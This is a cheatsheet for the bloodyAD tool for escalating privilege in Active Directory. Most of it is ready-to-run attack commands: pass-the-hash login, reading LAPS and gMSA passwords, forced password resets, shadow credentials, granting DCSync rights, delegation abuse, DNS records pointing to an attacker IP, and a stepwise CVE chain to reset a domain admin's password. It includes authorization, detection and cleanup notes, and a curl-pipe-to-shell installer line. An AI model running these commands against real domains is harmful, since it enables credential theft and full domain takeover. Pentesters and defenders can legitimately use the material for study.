bloodyAD is a Python LDAP-based Swiss-army knife created by Baptiste Crépin aka CravateRouge for AD privilege escalation. It reads and writes AD objects directly over LDAP/LDAPS/GC, so it works from Linux with no Windows host required.
- The verb (
add/get/set/remove) is the action. - The noun (
genericAll,shadowCredentials,groupMember,uac,rbcd…) is the abuse primitive.
- The version 2.5.5 of bloodyAD has been used to create this cheatsheet, adjustments may be necessary for later versions.
Setup
Dependencies
- Python 3
- MSLDAP
- dnspython
Installation
sudo apt install pipx git
pipx ensurepath
pipx install bloodyAD
# or
curl -LsSf https://astral.sh/uv/install.sh | sh
uv tool install bloodyAD
# or, on Kali
sudo apt install bloodyad -y
Global arguments
| Flag | Purpose |
|---|---|
-H, --host | Hostname or IP of the DC |
-i, --dc-ip | DC IP, if --host can’t be resolved |
-d, --domain | Domain used for NTLM authentication |
-u, --username / -p, --password | Credentials (see Authentication below) |
-k, --kerberos | Enable Kerberos auth |
-c, --certificate | Schannel or PKINIT certificate auth |
-f {b64,hex,aes,rc4,default} | Format of -p/-k value |
-s / -ss | Use LDAPS (-ss disables all encryption/signing, debug only) |
--gc | Connect to the Global Catalog instead of LDAP |
--dns | DNS server to resolve AD names (needed for cross-domain functions) |
--json | Output as JSON |
-v {QUIET,INFO,DEBUG,TRACE} | Verbosity |
Authentication
# Cleartext password
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p '<PASSWORD>' [command]
# Pass-the-hash (NTLM, note the leading colon)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p ':<NT_HASH>' [command]
# Kerberos — password
bloodyAD --host <DC_FQDN> -d <DOMAIN> -u <USER> -p '<PASSWORD>' -k [command]
# Kerberos — ccache/kirbi/keytab
export KRB5CCNAME=/tmp/ticket.ccache
bloodyAD --host <DC_FQDN> -d <DOMAIN> -k [command]
bloodyAD --host <DC_FQDN> -d <DOMAIN> -k kirbi=ticket.kirbi [command]
bloodyAD --host <DC_FQDN> -d <DOMAIN> -k keytab=ticket.keytab [command]
# Kerberos — AES/RC4 key instead of password
bloodyAD --host <DC_FQDN> -d <DOMAIN> -u <USER> -p '<AES_KEY>' -k -f aes [command]
bloodyAD --host <DC_FQDN> -d <DOMAIN> -u <USER> -p '<AES_KEY>' -k -f rc4 [command]
# Certificate (Schannel or PKINIT)
bloodyAD --host <DC_FQDN> -d <DOMAIN> -c Administrator.key:Administrator.crt [command]
bloodyAD --host <DC_FQDN> -d <DOMAIN> -c :Administrator.pem -k [command] # key+cert in one file, PKINIT
# LDAPS
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p '<PASSWORD>' -s [command]
- With Kerberos,
--hostmust be the DC’s FQDN (not the IP); pass the IP separately via--dc-ipif it doesn’t resolve. - Cross-realm auth:
-k kdc=<KDC_A> kdcc=<KDC_B> realmc=<domain_B.corp>to authenticate to a trusting foreign domain. - Generate a certificate for PKINIT with Certipy (
certipy req ...), then convert to PEM if needed:openssl pkcs12 -in cert.pfx -out cert.pem -nodes.
Enumeration
# What can I write to? Start every engagement here.
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get writable --detail
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get writable --otype USER --right ALL
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get writable --bh # BloodHound-compatible zip
# Object attributes (binary data returned as base64)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object <TARGET> --attr *
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object '' # RootDSE
# Children of an object (users, computers, OUs, groups, trusts...)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get children --otype useronly
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get children --otype computer
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get children --otype container
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get children --otype trustedDomain
# Group membership (user/group/computer)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object '<TARGET_OBJECT>' --attr memberOf # Retrieve group membership for any object
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object <GROUP> --attr member
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get membership <GROUP> # recursive by default
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get membership <GROUP> --no-recurse
# Domain policy / posture
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object 'DC=<DOMAIN>,DC=<TLD>' --attr msDS-Behavior-Version # functional level
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object 'DC=<DOMAIN>,DC=<TLD>' --attr minPwdLength
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object 'DC=<DOMAIN>,DC=<TLD>' --attr ms-DS-MachineAccountQuota # MAQ
# Kerberoastable accounts (has SPN)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get search --filter '(&(samAccountType=805306368)(servicePrincipalName=*))' --attr sAMAccountName
# AS-REP roastable accounts (DONT_REQ_PREAUTH set)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
# gMSA / LAPS passwords (requires read rights)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object '<GMSA>$' --attr msDS-ManagedPassword
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object '<COMPUTER>$' --attr ms-Mcs-AdmPwd
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
# Trusts and DNS
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get trusts
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get dnsDump
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get dnsDump | sed -n '/[^\n]*\*/,/^$/p' # check for a wildcard entry (ADIDNS spoofing)
# Deleted objects you can still act on (tombstones)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get writable --exclude-del=false
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get search -c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065 --filter '(isDeleted=TRUE)' --attr name,objectSid,objectGuid
# Get UAC - User Account Controls of an user (e.g. see if user is locked)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object <USER> --attr userAccountControl
# Kick off a BloodHound CE collection straight from bloodyAD
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get bloodhound --transitive
Reading ACLs
Add --resolve-sd to get object/get search to turn a raw nTSecurityDescriptor into a human-readable permission list instead of a base64 blob:
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object <TARGET> --attr nTSecurityDescriptor --resolve-sd
Each entry looks like:
Type: == ALLOWED_OBJECT == # allow / deny / audit
Trustee: jane.doe # who has the right
Right: WRITE_DACL # what right (see table below)
ObjectType: Self # what it applies to ("Self" = the object itself)
InheritedObjectType: account
Flags: INHERIT_ONLY|CONTAINER_INHERIT
Key rights you’ll see and act on:
| Right | Meaning |
|---|---|
GENERIC_ALL | Full control — everything below, minus SYNCHRONIZE/ACCESS_SYSTEM_SECURITY |
GENERIC_WRITE | WRITE_PROP + WRITE_VALIDATED + READ_SD |
WRITE_DACL | Can rewrite the object’s permissions (→ grant yourself GenericAll, then anything) |
WRITE_OWNER | Can set yourself as owner (not arbitrary others, unless you hold DS-Set-Owner/SeRestorePrivilege) |
WRITE_PROP | Can write specific attributes (scope depends on ObjectType/property set) |
CONTROL_ACCESS | Extended right (e.g. User-Force-Change-Password, DCSync’s DS-Replication-Get-Changes[-All]) |
CREATE_CHILD | Can create child objects under this container (abused for BadSuccessor/dMSA) |
Add --transitive alongside --resolve-sd to also resolve foreign SIDs across trusts.
Abuse primitives
Enumerate first (get writable --detail), confirm you actually hold the ACE the primitive needs, then execute.
Group membership
# Add yourself (or anyone) to a group — needs Self-Membership / WRITE_PROP on member
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> add groupMember <GROUP> <MEMBER>
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> remove groupMember <GROUP> <MEMBER>
Password & account state
# Reset a password (needs GenericAll/GenericWrite or User-Force-Change-Password)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> set password <USER> '<NewPassw0rd!>'
# Change your own or someone else's without the right, if you know their current password
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> set password <USER> '<NewPassw0rd!>' --oldpass '<OldPassw0rd!>'
# Enable a disabled account / unlock a locked one
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> remove uac <USER> -f ACCOUNTDISABLE
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> remove uac <USER> -f LOCKOUT
# Make a target Kerberoastable / AS-REP roastable (needs GenericAll/GenericWrite)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> set object <USER> servicePrincipalName -v 'fake/spn'
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> add uac <USER> -f DONT_REQ_PREAUTH
ACL / ownership abuse
# Grant a trustee full control over target (you need to own it, or hold WriteDacl)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> add genericAll <TARGET> <TRUSTEE>
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> remove genericAll <TARGET> <TRUSTEE>
# Take ownership (WriteOwner lets you set yourself only, unless you hold DS-Set-Owner/SeRestorePrivilege)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> set owner <TARGET> <NEW_OWNER>
Shadow credentials
- DC >= Windows Server 2016 (msDS-KeyCredentialLink schema attribute)
- AND an AD CS / PKINIT-capable CA in the domain.
Prefer this over a password reset when the target is an active user — a reset is noisy and breaks their session.
# Plant a Key Credential on the target, then use it to get a TGT + NT hash via PKINIT
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> add shadowCredentials <TARGET>
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> remove shadowCredentials <TARGET> # --key <KEY> to remove one specific cred
DCSync
# Grant replication rights (Get-Changes + Get-Changes-All) — needs WriteDacl/ownership on the domain object
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> add dcsync <TRUSTEE>
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> remove dcsync <TRUSTEE>
Delegation
# Let SERVICE impersonate users on TARGET (needs Write on target's msDS-AllowedToActOnBehalfOfOtherIdentity, DC >= 2012)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> add rbcd <TARGET> <SERVICE>
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> remove rbcd <TARGET> <SERVICE>
# Enable unconstrained/constrained-style delegation flags on an account you control (S4U2Self abuse)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> add uac <TARGET> -f TRUSTED_TO_AUTH_FOR_DELEGATION
Computer / machine accounts
Pass the domain as a FQDN (-d bloody.lab), otherwise add computer fails with problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 9026b (dNSHostName).
# Add a computer to the domain — consumes your ms-DS-MachineAccountQuota (default 10)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> add computer <NEW_COMPUTER_NAME> '<Passw0rd!>' --ou <OU>
# Raise or check the quota if you hold rights on the domain object
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object 'DC=<DOMAIN>,DC=<TLD>' --attr ms-DS-MachineAccountQuota
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> set object 'DC=<DOMAIN>,DC=<TLD>' ms-DS-MachineAccountQuota -v 10
DNS record abuse (relay / coercion)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> add dnsRecord <RECORD_NAME> <ATTACKER_IP>
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> remove dnsRecord <RECORD_NAME> <ATTACKER_IP>
Certificate identity binding (ESC14 / ESC14B)
# Bind an X.509 identity to a target account for cert-based auth abuse
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> set object <TARGET_USER> altSecurityIdentities -v 'X509:<RFC822>user@domain.local'
BadSuccessor (dMSA)
# Abuses CREATE_CHILD on an OU to create a DMSA that impersonates a privileged target (Windows Server 2025+)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> add badSuccessor <DMSA_NAME> -t 'CN=Administrator,CN=Users,DC=<DOMAIN>,DC=<TLD>' --ou <OU>
Deleted object recovery
# Restore a tombstoned object (needs Reanimate-Tombstones, typically Domain Admins)
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> set restore <TARGET> --newName <NEWNAME> --newParent <NEWPARENT>
Generic object/attribute edits
# Add/replace/delete any writable attribute
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> set object <TARGET> <ATTRIBUTE> -v '<VALUE>'
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> set object <TARGET> <ATTRIBUTE> # no -v deletes the value
# Delete an object entirely
bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> remove object <TARGET>
CVE exploit chains
Two Kerberos-related AD vulnerabilities discovered by Shai Laron (Semperis) that bloodyAD can be used to drive from Linux. Both are patched — check patch status before assuming exploitability, and use only against systems you’re authorized to test.
ResetNightmare (CVE-2026-27912)
A Write right on a target’s userPrincipalName (UPN) can be escalated to a full domain takeover, because the Kerberos change-password service resolves the UPN loosely enough to match another account’s sAMAccountName. Patched by Microsoft April 2026 (adds a KdcValidatePacUserSid() check in the KDC’s change-password path).
# 1. Copy a Domain Admin's sAMAccountName onto a UPN you control write access to
bloodyAD -H <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object 'Administrator' --attr sAMAccountName
bloodyAD -H <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> set object <USER> userPrincipalName -v Administrator
# 2. Request a TGT for kadmin/changepw using ptype=10 (NT-ENTERPRISE / UPN-style) — requires the badTGT tool
badTGT 'kerberos+pw://<DOMAIN>\Administrator:<PASSWORD>@<DC_IP>/?ptype=10' --ccache user.ccache --sname kadmin/changepw
# 3. Clear the spoofed UPN so the KDC falls back to matching on sAMAccountName
bloodyAD -H <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> set object <USER> userPrincipalName
# 4. Submit the password change with the TGT — requires the badchangepw tool
badchangepw 'kerberos+ccache://<DOMAIN>\Administrator:user.ccache@<DC_IP>' '<NewAdminPwd1!>'
badTGT/badchangepw are separate companion tools, not part of bloodyAD itself.
Detection/hardening: patch to April 2026 or later; alert on userPrincipalName changes that match another account’s sAMAccountName, and on kadmin/changepw requests immediately following a UPN write.
KerberLoss (CVE-2026-25177)
Malformed/confusing object names (e.g. invisible Unicode characters embedded in a servicePrincipalName) are accepted by AD and mishandled by Kerberos service logic, enabling denial-of-service against HOST-mapped services, SPN-jacking (simplifying S4U abuse), or a Kerberos-to-NTLM authentication downgrade. Patched by Microsoft March 2026.
# Insert an SPN containing an invisible Unicode character (visible only via a hex dump)
bloodyAD -H <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> set object '<COMPUTER>$' servicePrincipalName --bak -v 'HOST/MAI'$'\UE0154''N'
# Verify what was actually written
bloodyAD -H <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> get object '<COMPUTER>$' --attr servicePrincipalName | xxd
--bak has bloodyAD print a restore command with the original SPN values so the change can be reverted cleanly.
Detection/hardening: patch to March 2026 or later; alert on servicePrincipalName writes containing non-printable/non-ASCII characters.
- Full technical write-up (patch diffing, KDC pseudo-code, all three KerberLoss scenarios): https://cravaterouge.com/articles/resetnightmare/.
- Original vulnerability research: Semperis - Identity Crisis.
Cleanup checklist
After testing, revert what you changed so you don’t leave a persistent backdoor in the environment:
- Remove group memberships you added (
remove groupMember) - Remove shadow credentials you planted (
remove shadowCredentials) - Revert fake SPNs / UAC flags you set (
remove object/remove uac) - Remove RBCD / DCSync rights you granted (
remove rbcd,remove dcsync) - Remove DNS records you created (
remove dnsRecord)
Troubleshooting
| Symptom | Likely cause | Fix |
|---|---|---|
| LDAP bind fails over plaintext | DC enforces LDAP signing / channel binding | Add -s (LDAPS) or authenticate with -k (Kerberos) |
KRB_AP_ERR_SKEW | Clock drift > 5 min from the DC | Sync time with the DC first (ntpdate/rdate) |
add computer fails with a quota error | ms-DS-MachineAccountQuota exhausted for your user | Use another account, or raise the MAQ if you have rights on the domain object |
add shadowCredentials fails | DC < Server 2016, or no PKINIT/CA available | Check msDS-Behavior-Version/domainControllerFunctionality; fall back to Kerberoast or a password reset |
get writable returns nothing you expect | Stale BloodHound data, or rights were revoked | Re-run get writable --detail directly against LDAP; check for explicit DENY ACEs |
set restore fails | Missing Reanimate-Tombstones right | Use a principal with that right (typically Domain Admins) |
Notes
- Requires line-of-sight LDAP (389) or LDAPS (636) to the target DC.
- Most
add/setoperations require an existing ACE (GenericAll, GenericWrite, WriteDacl, WriteOwner, etc.) on the target object — always enumerate first withget writable --detail. - Pair with BloodHound to find the abuse path (
get bloodhoundcollects the data directly through bloodyAD), then execute the primitive here.
